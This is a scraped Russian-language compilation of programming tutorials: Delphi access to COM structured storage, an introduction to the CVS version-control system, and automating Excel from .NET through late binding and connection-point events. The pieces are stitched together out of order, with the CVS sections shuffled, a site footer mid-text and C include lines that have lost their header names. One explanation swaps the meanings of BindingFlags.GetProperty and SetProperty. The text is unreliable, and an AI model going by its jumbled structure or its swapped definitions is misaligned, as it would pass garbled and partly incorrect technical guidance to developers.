    Implementation Uses ActiveX,AxCtrls,ComObj; procedure TForm1.Button1Click (Sender: TObject); var Stg:IStorage; Strm:IStream; OS:TOleStream; S:String; begin OleCheck (StgCreateDocfile ('Testing.stg',STGM_READWRITE or STGM_SHARE_EXCLUSIVE,0,Stg)); OleCheck (Stg.CreateStream ('Testing',STGM_READWRITE or STGM_SHARE_EXCLUSIVE,0,0,Strm)); OS:=TOleStream.Create (Strm); try S:='This is the test'; OS.WriteBuffer (Pointer (S)^,Length (S)); finally OS.free; Strm:=nil; Stg:=nil; end; end; end. В этом фрагменте мы создаем новое хранилище с одним потоком, в который записываем строку S. Естественно, ничто не мешает нам написать например:
    Image1.Picture.Bitmap.SaveToStream (OS) - и тем самым записать в поток Testing изображение (вот она - "универсальная мусоросвалка"). Теперь ненадолго отвлечемся от Delphi и посмотрим на наш файл с точки зрения, скажем, Far (или VC)… Посмотрели? Если там же открыть любой документ Word (Excel), убедимся, что структура будет такой же, что и в нашем файле. Проверка принадлежности файла к формату хранилищ проводится с использованием функции StgIsStorageFile из ActiveX.pas:
    function StgIsStorageFile (pwcsName: POleStr): HResult; stdcall;
    Результат:
  • S_OK (0) - файл является хранилищем данных;
  • S_FALSE (1) - файл не является хранилищем.
  • Кроме того, эта функция может принимать значения STG_E_INVALIDFILENAME (если имя задано неправильно) и STG_E_FILENOTFOUND (если файла с таким именем не существует).

    Определения

    Определения Структурированные хранилища данных - это файлы особой "самодокументированной" структуры, в которых могут мирно уживаться разнородные данные (от простого текста до фильмов, архивов и… программ). Поскольку эта технология является неотъемлемой частью Windows, доступ к ней возможен из любого поддерживающего технологию COM средства программирования. Одним из таких инструментов является Delphi, на основе которого будет описана технология доступа к структурированным хранилищам данных.
    COM-хранилища напоминают иерархическую файловую систему. Так, в них есть корневое хранилище (Root Entry), в котором могут содержаться как отдельные потоки ("файлы"), так и хранилища второго уровня ("каталоги"). В них, в свою очередь,- хранилища третьего уровня ит.д. Управление каждым хранилищем и потоком осуществляется посредством отдельного экземпляра интерфейса: IStorage - для хранилищ и IStream - для потоков. Рассмотрим конкретнее некоторые операции, реализуемые этими интерфейсами.

    Создание и открытие хранилищ

    Создание хранилищ осуществляется с использованием функции StgCreateDocFile из модуля ActiveX.pas:
    function StgCreateDocfile (pwcsName: POleStr; grfMode: Longint;
    reserved: Longint; out stgOpen: IStorage): HResult; stdcall;

    где:
  • pwcsName - название хранилища (т. е. название файла);
  • grfMode - флаги доступа (комбинация значений STGM_*);
  • reserved - он и в Африке RESERVED;
  • StgOpen - ссылка на интерфейс IStorage нашего главного хранилища.
  • Результат функции как всегда транслируем в исключения Delphi посредством OleCheck.
    Для открытия хранилища используется функция StgOpenStorage:
    function StgOpenStorage (pwcsName: POleStr; stgPriority: IStorage;
    grfMode: Longint; snbExclude: TSNB; reserved: Longint;
    out stgOpen: IStorage): HResult; stdcall;

    параметр stgPriority указывает на ранее открытый экземпляр главного хранилища (почти всегда nil).

    Средства разработки приложений

    Альтернативы

    На рынке свободно распространяемых программ CVS практически нет конкурентов. Однако из-за почтенного возраста (первые версии CVS появились в 1986 г.) появилась небольшая, но ясно видная ниша для конкурирующих продуктов. Дело в том, что CVS не поддерживает несколько удобных (некоторые даже считают их критичными) возможностей, например, версионность каталогов - отслеживание истории файлов с учетом их переименования, а также поддержку "наборов изменений" (changesets). Кроме того, разработка CVS в последнее время несколько приостановилась, в нем давно не появляется новых крупных возможностей (впрочем, это не означает, что существующих возможностей не хватает). Есть несколько коммерческих продуктов, поддерживающих примерно тот же набор возможностей, что и CVS. Два, на мой взгляд, самых известных - это Perforce () и Rational ClearCase (). В конце статьи приведена ссылка на каталог, содержащий ссылки на большое количество систем управления версиями.
    В настоящий момент активно ведется разработка того, что когда-нибудь придет на смену CVS: . Этот проект, Subversion, разрабатывается с учетом положительных сторон CVS, у него новое, не страдающее от "старческих болезней", дерево исходников, некоторые из его разработчиков в прошлом участвовали в разработке CVS. Конечно же, Subversion будет распространяться с исходными текстами и по свободной лицензии. Я очень надеюсь, что этому проекту будет сопутствовать успех! Но в любом случае CVS будет использоваться еще очень и очень долго.

    Несколько разработчиков

    CVS изначально разрабатывалась с учетом возможности работы над проектом нескольких разработчиков. Дело в том, что вы можете извлечь из одного репозитория несколько рабочих копий -- по одной на каждого программиста. Очевидно, что в большинстве случаев разные программисты будут работать над разными частями проекта. Каждый из них будет фиксировать изменения в своей части проекта, и они не станут натыкаться друг на друга в репозитории. Для того чтобы получить изменения, сделанные другими, нужно специально вызвать команду
    $ cvs update
    Если вдруг случайно Петя и Вася бросятся исправлять один и тот же кусок кода, и сделают это по-разному (сама по себе эта ситуация указывает на недостаток общения Пети и Васи друг с другом), то CVS обработает и эту ситуацию. Когда Петя зафиксирует свое исправление, CVS позволит ему сделать это. Когда Вася попытается зафиксировать свой вариант исправления, CVS обнаружит, что эти исправления перекрываются, и предложит ему обновить рабочую копию с помощью cvs update. Эта команда покажет, что в исправляемом файле произошел так называемый "конфликт" и пометит место конфликта в рабочей копии этого файла. Предположим, Петя решил, что важнее исправить синтаксис выводимого сообщения, а Вася -- что нужно использовать более простую функцию puts(). Конфликт будет выглядеть примерно так:
    <<<<<<<<
    printf("Hello, world!\n");
    =========
    puts("hello world!");
    >>>>>>>>
    Васе следует обсудить с Петей причину конфликта, договориться, какое из изменений важнее (или просто объединить их), затем убрать индикаторы конфликта (строчки из символов "больше", "меньше" и "равно"), оставить лучший из двух вариантов и, если нужно, зафиксировать окончательное изменение.
    Многие пугаются, услышав о полуавтоматической обработке конфликтов. На самом деле практика показывает, что при совместной работе с использованием CVS конфликтов практически не возникает (я говорю на основании опыта двухмесячной работы трех программистов над одним проектом). За эти два месяца я наблюдал, ну может быть, три или четыре конфликта. Все они были простейшими и исправлялись за три минуты. Никаких проблем, связанных с совместной работой, замечено не было.

    Несколько ветвей разработки

    Через несколько месяцев, когда вы более-менее освоитесь с повседневным использованием CVS, вам все чаще станут вспоминаться виденные когда-то в документации и в речи старших товарищей словосочетания "стабильная ветка", "сольем изменения на ствол", "поддержка старых версий". Это означает, что вы уже готовы программировать одновременно две версии своей программы. Одна - стабильная, которая уже работает у заказчика, но время от времени требует небольших исправлений или доработок. Вторая - та, разработку которой вы продолжаете, которая будет называться версией 2.0, содержит новые возможности или вообще почти полностью переписана. На помощь приходит CVS, которая с самого начала разрабатывалась для поддержки нескольких ветвей разработки программы.
    В какой-то момент вы объявляете, что выпущена Hello Version 1.0. Дистрибутив программы отправлен пользователю, а вам самое время приготовиться к дальнейшей разработке. Пометьте текущее состояние исходников:
    $ cvs rtag HELLO-1-0-RELEASE hello
    Во-первых, теперь вы всегда сможете вернуться к состоянию программы на момент релиза с помощью команды
    $ cvs co -r HELLO-1-0-RELEASE hello
    Во-вторых, что важнее, теперь вы сможете создать ветку разработки, в которой будете вести поддержку программы (выпуская версии 1.01, 1.02 и т. д.). Для этого используется команда cvs rtag с ключом -b:
    $ cvs rtag -b -r HELLO-1-0-RELEASE HELLO-1-0 hello
    Теперь в вашей текущей рабочей копии можно продолжать активную разработку Hello Version 2. Одновременно с этим от пользователя начнут поступать запросы на исправление ошибок, небольшие доработки etc. Создайте себе еще одну рабочую копию в каталоге hello-support:
    $ cvs co -r HELLO-1-0 -d hello-support hello
    Эта рабочая копия "помнит" о том, что при ее извлечении использовался идентификатор ветки (HELLO-1-0), и теперь все исправления, которые вы сделаете и зафиксируете, окажутся именно на ветке, не затрагивая основной ствол разработки. И наоборот, изменения, вносимые в вашу основную рабочую копию, не окажут влияния на ветки, которые существуют в репозитории.

    Повседневное использование

    Если ваша операционная система - Linux, то, скорее всего, CVS уже установлена на вашей машине или же может быть установлена в мгновение ока с помощью менеджера пакетов. Если вы используете Windows, то сходите на , и скачайте там клиента и графическую оболочку к нему (если хотите). Создайте репозиторий, руководствуясь инструкциями из обширной документации к CVS.
    Теперь начнем создавать где-нибудь в отдельном каталоге (не каталоге с репозиторием!) рабочую копию. Создадим каталог для нашего проекта:
    $ cvs co -l .
    $ mkdir hello
    и поместим его в репозиторий:
    $ cvs add hello
    Directory /home/cvsroot/hello added to the repository
    Создадим внутри этого каталога файл с нашей программой:
    === hello.c ===
    #include

    int main() {
    printf("hello world\n");
    }
    === hello.c ===
    и поместим этот файл под контроль версий:
    $ cvs add hello.c
    cvs add: scheduling file `hello.c' for addition
    cvs add: use 'cvs commit' to add this file permanently
    Проверим, что программа компилируется и выполняется. У нас появилась первая ревизия, вполне пригодная к помещению в репозиторий. Сделаем же это:
    $ cvs commit -m "First revision" hello.c
    RCS file: /home/cvsroot/myproject/hello.c,v
    done
    Checking in hello.c;
    /home/cvsroot/myproject/hello.c,v <-- hello.c
    initial revision: 1.1
    done
    Отлично. Теперь притворимся, что мы долго и трудно работали, исправляя грамматику сообщения, которое выводит на экран наша программа, и в результате наш исходник начинает выглядеть так:
    === hello.c ===
    #include
    int main() {
    printf("Hello, world!\n");
    }
    === hello.c ===
    Что же изменилось? Спросим у CVS:
    $ cvs diff -u hello.c
    Index: hello.c
    ===============================================
    RCS file: /home/cvsroot/myproject/hello.c,v
    retrieving revision 1.1
    diff -u -r1.1 hello.c
    --- hello.c 2001/01/23 22:16:35 1.1
    +++ hello.c 2001/01/23 22:19:08
    @@ -1,5 +1,5 @@
    #include
    int main() {
    - printf("hello world\n");
    + printf("Hello, world!\n");
    }
    Вот в таком вот формате ("унифицированном diff-формате") CVS показывает нам изменения, произошедшие с файлом с того момента, когда он последний раз "фиксировался" в репозиторий.
    Легко видеть, что одна строка в файле была изменена: мы видим ее старое и новое состояния. Теперь, когда приветствием, выводимым программой, будет доволен любой корректор, можно зафиксировать и это изменение с помощью все той же команды:

    $ cvs commit -m "Improved greeting" hello.c

    Описание команд CVS выходит за рамки этой небольшой статьи, но в конце ее приведены ссылки на материалы, в которых эта тема обсуждается с недостижимой здесь полнотой. Я же вернусь к более абстрактному описанию сосуществования с системой контроля версий. Первое время, довольно продолжительное, можно безболезненно работать с буквально полудесятком команд CVS:

  • добавление файла в проект (cvs add);
  • удаление его из проекта при помощи команды cvs remove (заметьте, что вся история изменений в этом файле будет сохранена!);
  • просмотр изменений (cvs diff);
  • фиксация изменений в репозитории (cvs commit);
  • на должность пятой команды в данном случае претендуют почти все остальные команды в зависимости от личных предпочтений.
  • Для получения максимального эффекта от использования CVS следует соблюдать определенную дисциплину. Фиксирование изменений должно происходить каждый раз, когда наличествует это самое изменение, четко определенное и завершенное.

    Например, самый распространенный случай: исправлена ошибка. Следует просмотреть изменения (в этот момент вас могут поджидать самые любопытные сюрпризы, например, после многочасовой отладки вдруг может выясниться, что все изменение свелось к двум строкам в двух разных файлах, хоть вы и редактировали десяток этих файлов в поисках ошибки). Теперь нужно зафиксировать изменение, причем обязательно документировать его: CVS запустит для вас редактор и предложит ввести журнальное сообщение. Если вы вдобавок пользуетесь системами отслеживания ошибок (а это тема для отдельной статьи), то журнальное сообщение – отличное место, куда можно вписать номер исправленной ошибки или, например, ссылку на письмо, в котором пользователь сообщил об исправленной ошибке.

    Старайтесь не фиксировать несколько ошибок одновременно (еще хуже в качестве журнального сообщения писать "Исправлено несколько ошибок" или "Куча исправлений").В то же самое время есть еще одна часто встречающаяся ситуация: предположим, что вы несколько часов писали новый довольно большой модуль, он в основном работает, и осталось внести буквально несколько изменений (или, например, уже поздно и пора идти домой). В этом случае можно смело фиксировать недоделанный файл, а в качестве комментария ставить "почти работает". Оставшиеся доделки чрезвычайно удобно будет внести уже в новую ревизию, используя команду просмотра изменений относительно "почти работающей версии". По крайней мере, к ней всегда можно будет вернуться.

    Ссылки на дополнительную информацию

    Домашняя страница CVS:
    Основной ресурс по CVS на Open Directory:

    Крупнейший ресурс по CVS на русском языке (документация, статьи, список рассылки):

    Графический (а также обычный текстовый) CVS-клиент под Win32:

    CVS-сервер под Win32:

    Ссылки на другие системы управления версиями:

    document.write('');
    Ссылки на дополнительную информацию This Web server launched on February 24, 1997
    Copyright © 1997-2000 CIT, © 2001-2009
    Внимание! Любой из материалов, опубликованных на этом сервере, не может быть воспроизведен в какой бы то ни было форме и какими бы то ни было средствами без письменного разрешения владельцев авторских прав.


    класс программных продуктов, нацеленных на

    Системы управления версиями - класс программных продуктов, нацеленных на решение ряда задач, с которыми повседневно сталкивается каждый программист. С помощью систем управления версиями вы следите за изменениями кода вашего программного продукта в ходе его разработки, и можете управлять различными его состояниями: новая версия, работа над которой идет прямо сейчас; старая версия, которую придется поддерживать еще некоторое время; или же старая версия, интересная только историкам.
    Программисты, чьи исходники контролируются системой управления версиями, чем-то неуловимо отличаются от остальных программистов. Они в каждый момент рабочего дня точно знают, что именно было сделано за день, а после исправления ошибки могут точно сказать, в каком именно месте кода была ошибка. Они не подвержены синдрому "работает - не трогай", потому что могут совершенно безболезненно ударяться в самые сложные эксперименты со своей программой. Они твердо знают, что в любой момент могут вернуться к "исходникам, которые работали", сколько бы экспериментов с новым кодом не было проведено. Более того, если пользователь вдруг захочет небольшое, крошечное изменение, когда программа находится в многообещающем, но совершенно нерабочем состоянии, то все, что для этого потребуется -- переключиться на стабильную ветку, исправить там, что надо и отдать пользователю, затем переключиться обратно на ствол разработки.
    В этой статье речь пойдет о CVS (Concurrent Versions System) – одной из систем управления версиями, существующих на рынке. Я впервые начал использовать CVS около трех лет назад, программируя на Delphi, но имея довольно плотный опыт работы под Linux. С тех пор я сменил область деятельности на программирование для Web, участвовал в проектах с несколькими разработчиками, и использовал CVS в каждом своем проекте, сколь бы невелик он был, и даже сколь мало он ни был бы связан с собственно программированием. Признаться, сейчас я вообще не представляю себе, как можно программировать, если не контролируешь собственные исходники: даже этот небольшой текстовый файл со статьей уже имеет ревизию 1.1.
    В лучших традициях UNIX CVS занимается относительно небольшим, четко определенным кругом задач, и делает это хорошо. Когда вы начнете использовать CVS, то заметите, что она совершенно не "настаивает" практически ни на чем, включая сам факт своего использования. Все, что вы обнаружите -- один служебный подкаталог в каждом каталоге вашего проекта, и куча преимуществ и услуг, которые предоставит CVS, если дать ему эту возможность.

    Заключительная часть

    CVS необычайно широко применяется при разработке подавляющего большинства современных проектов с открытым исходным текстом. Среди огромного списка операционных систем и программ: FreeBSD, XEmacs, XFree86, OpenSSL, выделяется, пожалуй, лишь ядро Linux, главный разработчик которой, Линус Торвальдс, в силу особенностей личности отказывается использовать какую бы то ни было систему управления версиями, кроме собственного мозга. Да и то, почти все остальные участники разработки держат свой собственный CVS-репозиторий, которым активно пользуются при разработке (здесь им помогает интересная возможность CVS: т. н. "ветки поставщика" (vendor branches)). Проект , обеспечивающий свободно доступную инфраструктуру для разработчиков свободного программного обеспечения, в качестве стандартной возможности предоставляет использование своего CVS-сервера. Вообще, количество инсталляций и пользователей -- одно из значительных преимуществ CVS.

    Средства разработки приложений

    Перехват событий Excel

    Перехватывая события Excel, Вы получаете возможность отслеживать его состояние и контролировать некоторые действия. Например, Вы можете отследить закрытие рабочей книги и корректно отключиться от Excel, произведя очистку памяти и прочие завершающие процедуры. Для того, чтобы понять, как перехватывать события, проведем небольшой экскурс в события COM объектов. В этом отступлении я предполагаю, что читатель немного знаком с COM архитектурой, хотя это не обязательно, в конце статьи я приведу уже готовое решение, которое можно использовать в своих приложениях, даже не задумываясь о тонкостях COM. Если объект (будь-то СОМ или RCW объекта .NET) хочет получать события другого COM объекта, то он должен уведомить об этом источник событий, зарегистрировав себя в списке объектов-получателей уведомлений о событиях. Для этого СОМ предоставляет интерфейс IConnectionPointContainer, содержащий метод FindConnectionPoint. С помощью вызова метода FindConnectionPoint, объект-получатель события получает "точку подключения" - интерфейс IConnectionPoint и регистрирует c помощью метода Advise свою реализацию интерфейса IDispatch, методы которого будут реализовываться при возникновении тех или иных событий. Excel определяет интерфейс, который должен реализовываться классом-приемником событий. interface
    ["00024413-0000-0000-C000-000000000046"]
    {
    DispId(0x61d)]
    void NewWorkbook(object Wb);
    DispId(0x616)]
    void SheetSelectionChange(object Sh, object Target);
    DispId(0x617)]
    void SheetBeforeDoubleClick(object Sh, object Target, ref bool Cancel);
    DispId(1560)]
    void SheetBeforeRightClick(object Sh, object Target, ref bool Cancel);
    DispId(0x619)]
    void SheetActivate(object Sh);
    DispId(0x61a)]
    void SheetDeactivate(object Sh);
    DispId(0x61b)]
    void SheetCalculate(object Sh);
    DispId(0x61c)]
    void SheetChange(object Sh, object Target);
    DispId(0x61f)]
    void WorkbookOpen(object Wb);
    DispId(0x620)]
    void WorkbookActivate(object Wb);
    DispId(0x621)]
    void WorkbookDeactivate(object Wb);
    DispId(1570)]


    void WorkbookBeforeClose(object Wb, ref bool Cancel);
    DispId(0x623)]
    void WorkbookBeforeSave( object Wb, bool SaveAsUI, ref bool Cancel);
    DispId(0x624)]
    void WorkbookBeforePrint(object Wb, ref bool Cancel);
    DispId(0x625)]
    void WorkbookNewSheet(object Wb, object Sh);
    DispId(0x626)]
    void WorkbookAddinInstall(object Wb);
    DispId(0x627)]
    void WorkbookAddinUninstall(object Wb);
    DispId(0x612)]
    void WindowResize(object Wb, object Wn);
    DispId(0x614)]
    void WindowActivate(object Wb, object Wn);
    DispId(0x615)]
    void WindowDeactivate(object Wb, object Wn);
    DispId(0x73e)]
    void SheetFollowHyperlink(object Sh, object Target);
    DispId(0x86d)]
    void SheetPivotTableUpdate(object Sh, object Target);
    DispId(2160)]
    void WorkbookPivotTableCloseConnection(object Wb, object Target);
    DispId(0x871)]
    void WorkbookPivotTableOpenConnection(object Wb, object Target); }
    Таким образом наш класс - приемник событий должен реализовывать этот интерфейс и регистрировать себя используя IConnectionPointContainer и IConnectionPoint. Библиотека базовых классов .NET уже определяет managed-версии интерфейсов: для IConnectionPointContainer это UCOMIConnectionPointContainer, а для IConnectionPoint - UCOMIConnectionPoint, которые определены в пространстве имен - System.Runtime.InteropServices. Регистрация класса-приемника событий будет выглядеть так: // Объявляем ссылки на IConnectionPointContainer UCOMIConnectionPointContainer icpc;
    // и на IConnectionPoint
    UCOMIConnectionPoint icp;
    // Получаем ссылку на Excel
    FExcel = Marshal.GetActiveObject("Excel.Application");
    // Получаем ссылку на интерфейс IConnectionPointContainer
    icpc = FExcel as UCOMIConnectionPointContainer;
    // Получаем "точку подключения"
    Guid guid = new Guid("00024413-0000-0000-C000-000000000046");
    icpc.FindConnectionPoint(ref guid, out icp);
    // Регистрируем класс - приемник событий, который реализует
    // интерфейс с GUID ["00024413-0000-0000-C000-000000000046"]
    // При этом наш класс получает уникальный идентификатор
    // cookie, который нужно сохранить, чтобы иметь
    // возможность отключиться от источника событий
    icp.Advise(ExcelEventSink, out cookie);
    Для отключения от событий достаточно вызвать метод Unadvise(), и передать ему в качестве параметра идентификатор cookie, который мы получили при регистрации нашего класса-приемника событий методом Advise: icp.Unadvise(cookie);

    Работа со страницами. Объект Range. Использование записи макросов для автоматизации Excel.

    Страница имеет ссылку на объект Range, который, по сути представляет собой объект-диапазон ячеек. Через объект Range мы получаем доступ к любой ячейке, а также к ее свойствам. Но объект Range содержит массу методов, и и для позднего связывания нужно знать не только формат передаваемых им формальных параметров, но и точное название метода (или свойства, которое по сути дела является комбинацией методов). Иными словами, нужно знать сигнатуру метода, чтобы успешно вызвать его через позднее связывание. До сих пор мы использовали простые методы типа Open, Close, Save, с которыми, в принципе, все понятно. Они не содержат большое количество параметров, и список параметров интуитивно ясен. Для того, чтобы узнать, какие методы поддерживает объект Range, можно воспользоваться утилитой tlbimp.exe, и импортировав через нее библиотеку типов Excel, открыть эту библиотеку в дизассемблере IL-кода ildasm.exe. Дизассемблер покажет нам объект Range и все его методы. Можно использовать более продвинутые утилиты сторонних разработчиков (например, всем известный Anakrino). Но есть более простой способ, который позволит нам существенно сэкономить время. Это сам Excel, а точнее его запись макросов. Например, нам нужно отформатировать ячейки определенным образом, хотя бы так, как показано на рис.: Работа со страницами. Объект Range. Использование записи макросов для автоматизации Excel. Рис. 2. Результат работы макроса. Для этого открываем Excel, включаем запись макросов и форматируем указанные ячейки как нам вздумается. Полученный макрос будет выглядеть следующим образом: Sub Макрос1()
    '
    ' Макрос1 Макрос
    ' Макрос записан 17.04.2005 (Powerful)
    '
    Range("B3").Select
    With Selection.Interior
    .ColorIndex = 45
    .Pattern = xlSolid
    End With
    Range("C3").Select
    Selection.Font.ColorIndex = 3
    Range("B3").Select
    ActiveCell.FormulaR1C1 = "Привет"
    Range("C3").Select


    ActiveCell.FormulaR1C1 = "из NET!"
    Range("B3:C3").Select
    Selection.Borders(xlDiagonalDown).LineStyle = xlNone
    Selection.Borders(xlDiagonalUp).LineStyle = xlNone
    With Selection.Borders(xlEdgeLeft)
    .LineStyle = xlContinuous
    .Weight = xlThin
    .ColorIndex = xlAutomatic
    End With
    With Selection.Borders(xlEdgeTop)
    .LineStyle = xlContinuous
    .Weight = xlThin
    .ColorIndex = xlAutomatic
    End With
    With Selection.Borders(xlEdgeBottom)
    .LineStyle = xlContinuous
    .Weight = xlThin
    .ColorIndex = xlAutomatic
    End With
    With Selection.Borders(xlEdgeRight)
    .LineStyle = xlContinuous
    .Weight = xlThin
    .ColorIndex = xlAutomatic
    End With
    With Selection.Borders(xlInsideVertical)
    .LineStyle = xlContinuous
    .Weight = xlThin
    .ColorIndex = xlAutomatic
    End With
    End Sub
    Как видно, здесь очень часто используется вызов метода Select у объекта Range. Но нам это не нужно, ведь мы можем работать с ячейками напрямую, минуя их выделение. Метод Select просто переопределяет ссылки, которые будут возвращаться объектом Selection. Сам объект Selection - это тот же самый Range. Таким образом, наша задача существенно упрощается, так как нам нужно просто получить ссылки на нужные объекты Range, получить доступ к их внутренним объектам и произвести вызов соответствующих методов или свойств, используя уже известный нам метод InvokeMember(). Возьмем, например следующий участок кода: ...


    Range("B3").Select With Selection.Interior .ColorIndex = 45 .Pattern = xlSolid End With Range("C3").Select Selection.Font.ColorIndex = 3 ... Данный код окрашивает цвет фона ячейки B3 в оранжевый, причем заливка ячейки - сплошная, а цвет текста ячейки C3 устанавливает в красный. Попробуем реализовать этот участок в нашем приложении. Допустим, что мы успешно получили ссылки на нужную книгу и страницу. Ссылка на страницу у нас храниться в переменной oWorksheet. // Получаем ссылку на ячейку B3 (точнее на объект Range("B3")),
    object oRange = oWorksheet.GetType().InvokeMember("Range", BindingFlags.GetProperty, null, oWorksheet, new object[]{"B3"});
    // Получаем ссылку на объект Interior
    object oInterior = oRange.GetType().InvokeMember("Interior", BindingFlags.GetProperty, null, oRange, null);
    // Устанавливаем заливку (Аналог вызова
    // Range("B3").Interior.ColorIndex)
    oInterior.GetType().InvokeMember("ColorIndex", BindingFlags.SetProperty, null, oInterior, new object[]{45});
    // Устанавливаем способ заливки (Pattern = xlSolid)
    /* Для того, чтобы узнать значение константы xlSolid, можно посмотреть документацию, использовать описанный выше импорт библиотеки типов, а можно просто прогнать наш макрос в Visual Basic по шагам и посмотреть значение в контроле переменных, что существенно сэкономит Ваше время. */
    // Задаем параметр xlSolid = 1;
    object[] args = new object[]{1}
    // Устанавливаем свойство Pattern в xlSolid
    oInterior.GetType().InvokeMember("Pattern", BindingFlags.SetProperty, null, oInterior, args);
    Для того, чтобы задать текст, можно использовать свойство Value объекта Range. oRange.GetType().InvokeMember("Value", BindingFlags.SetProperty, null, oRange, new object[]{"Привет"}); Далее разбирать код я не буду, советую читателям самим поэкспериментировать с установкой свойств Excel из приложений .NET, по аналогии с приведенными здесь примерами. А сейчас перейдем к событиям Excel и их перехвату, используя позднее связывание.

    Управление книгами и страницами.

    Позднее связывание подразумевает, что нам неизвестен тип объекта, с которым мы хотим работать, а это значит, что мы не можем применять непосредственно обращаться к его методам и полям, используя оператор ".". Поэтому для вызова метода, нам необходимо знать его название и список формальных параметров, которые он принимает. Для вызова метода в классе Type предусмотрен метод InvokeMember(). Поэтому нам достаточно получить ссылку на экземпляр класса Type, описывающий тип объекта, с которым мы устанавливаем позднее связывание, и вызвать метод InvokeMember()/ Я не буду останавливаться подробно на этом методе, он достаточно хорошо описан в технической документации. Отмечу только самое необходимое, с которым мы будем непосредственно работать. Метод InvokeMember() перегружен, и имеет три модификации. public object InvokeMember(string name, BindingFlags flags, Binder binder, object target, object[] args); public object InvokeMember(string name, BindingFlags flags, Binder binder, object target, object[] args, CultureInfo info); public abstract object InvokeMember(string name, BindingFlags flags, Binder binder, object target, object[] args, ParameterModifier[] modifiers, CultureInfo info, string[] namedParameters); В нашей работе мы будем использовать только первую модификацию метода. В качестве первого параметра метод получает строковое название метода, поля, свойства того объекта, с которым мы устанавливаем связь. При этом в названии не должно быть пробелов или лишних символов, кроме того, этот параметр чувствителен к регистру. Второй параметр принимает на вход флаги, характеризующие связывание. Нам понадобятся только следующие флаги:
  • BindingFlags.InvokeMethod - Найти метод, определить его точку входа, и выполнить передав ему массив фактических параметров.
  • BindingFlags.GetProperty - Установить свойство
  • BindingFlags.SetProperty - Получить значение свойства. Третий параметр - binder - мы устанавливаем в null - он нам не нужен. Через четвертый параметр - target - мы передаем ссылку на объект, к методу которого мы хотим обратиться. Пятый параметр - args - это массив с параметрами, который принимает на вход вызываемый поздним связыванием метод, или массив, который содержит один элемент - значение свойство, которое мы устанавливаем. Метод InvokeMember() возвращает результат выполнения метода или значение свойства. Для управления книгами и страницами в первую очередь нужно получить ссылку на их коллекции.
    Для получения ссылки на коллекцию книг необходимо выполнить следующий код (считается, что ссылка на oExcel успешно получена): object oWorkbooks = oExcel.GetType().InvokeMember("Workbooks", BindingFlags.GetProperty, null, oExcel, null); Объект oWorkbooks и есть managed-ссылка на коллекцию книг. Для получения доступа к конкретной книге выполняем следующий код, используя коллекцию книг: // Доступ к книге по ее порядковому номеру // Создаем массив параметров
    object[] args = new object[1];
    // Мы хотим получить доступ к первой книге Excel
    args[0] = 1;
    // Получаем ссылку на первую книгу в коллекции Excel
    object oWorkbook = oWorkbooks.GetType().InvokeMember("Item", BindingFlags.GetProperty, null, oWorkbooks, args);
    // Доступ к книге по ее названию
    // (обратите внимание, что расширение в
    // названии не указывается)
    object[] args = new object[1];
    // Указываем название книги, к которой мы хотим получить доступ
    args[0] = "Книга1";
    // Получаем ссылку на первую книгу в коллекции Excel
    object oWorkbook = oWorkbooks.GetType().InvokeMember("Item", BindingFlags.GetProperty, null, oWorkbooks, args);
    Если книг с указанным названием не существует, то данный код выбрасывает исключение. Для того, чтобы открыть, закрыть или создать книгу, воспользуемся соответствующими методами коллекции книг oWorkbooks, ссылку на которую мы уже успешно получили. Для создания новой книги у объекта oWorkbooks есть несколько модификаций метода Add. Если мы вызовем этот метод без параметров, то будет создана новая книга, имеющая имя, принятое по умолчанию, и содержащая количество страниц, также принятое по умолчанию. //Создаем новую книгу
    object oWorkbook = oWorkbooks.GetType().InvokeMember("Add", BindingFlags.InvokeMethod, null, oWorkbooks, null);
    Для создания книги на основе шаблона, достаточно передать полное имя файла, содержащее этот шаблон: // Заносим в массив параметров имя файла
    object[] args = new object[1]; args[0] = "D:\MyApp\Templates\invoice.xls";


    //Создаем новую книгу
    object oWorkbook = oWorkbooks.GetType().InvokeMember("Add", BindingFlags.InvokeMethod, null, oWorkbooks, args);
    Для открытия файла с книгой, воспользуемся методом Open объекта oWorkbooks: // Открытие файла d:\book1.xls
    // Заносим в массив параметров имя файла
    object[] args = new object[1];
    args[0] = "D:\book1.xls";
    // Пробуем открыть книгу
    object oWorkbook = oWorkbooks.GetType().InvokeMember("Open", BindingFlags.InvokeMethod, null, oWorkbooks, args);
    Закрытие книги возможно с помощью метода Close объекта oWorkbook. При этом он принимает несколько необязательных параметров. Рассмотрим два варианта (Обратите внимание, что мы вызываем метод Close книги, а не коллекции книг, и target-объектом у нас выступает oWorkbook, а не oWorkbooks): // Вариант 1. Закрываем книгу с принятием всех изменений
    object[] args = new object[1];
    // с принятием всех изменений
    args[0] = true;
    // Пробуем закрыть книгу
    oWorkbook.GetType().InvokeMember("Close", BindingFlags.InvokeMethod, null, oWorkbook, args);
    // Вариант 2. Закрываем книгу с принятием всех изменений
    object[] args = new object[2]; args[0] = true;
    // И под определенным названием
    args[1] = @"D:\book2.xls";
    // Пробуем закрыть книгу
    oWorkbook.GetType().InvokeMember("Close", BindingFlags.InvokeMethod, null, oWorkbook, args);
    Отмечу сразу, что сохранение произойдет только в том случае, если вы произвели какие-либо изменения в рабочей книге. Если Вы создали рабочую книгу и ходите ее сразу же закрыть, причем с сохранением под другим именем - у Вас ничего не выйдет. Excel просто закроет книгу и все. Для того, чтобы просто сохранить изменения в книге, достаточно вызвать для нее метод Save или SaveAs, передав последнему в качестве параметра имя файла, под которым нужно сохранить книгу. // Просто сохраняем книгу
    oWorkbook.GetType().InvokeMember("Save", BindingFlags.InvokeMethod, null, oWorkbook, null);

    // Задаем параметры метода SaveAs - имя файла


    object[] args = new object[2];
    args[0] = @"d:\d1.xls";
    // Сохраняем книгу в файле d:\d1.xls
    oWorkbook.GetType().InvokeMember("SaveAs", BindingFlags.InvokeMethod, null, oWorkbook, args);

    // Просто сохраняем рабочую книгу. По умолчанию новая книга без
    // изменений будет сохранена в папку "Мои Документы"
    // текущей учетной записи Windows
    oWorkbook.GetType().InvokeMember("Save", BindingFlags.InvokeMethod, null, oWorkbook, null);
    Для работы со страницами нам необходимо получить доступ к их коллекции. Естественно, мы уже должны иметь ссылку на рабочую книгу. Для получения ссылки на коллекцию страниц, нужно вызвать свойство Worksheets рабочей книги: object oWorksheets = oWorkbook.GetType().InvokeMember("Worksheets", BindingFlags.GetProperty, null, oWorkbook, null); Объект oWorksheets - это managed-ссылка на коллекцию страниц текущей книги. Зная ссылку на эту коллекцию мы можем получить доступ к конкретной странице по ее имени или порядковому номеру (Аналогично коллекции рабочих книг): //Задаем порядковый номер страницы - 1
    object[] args = new object[1];
    args[0] = 1;
    // Получаем ссылку на эту страницу
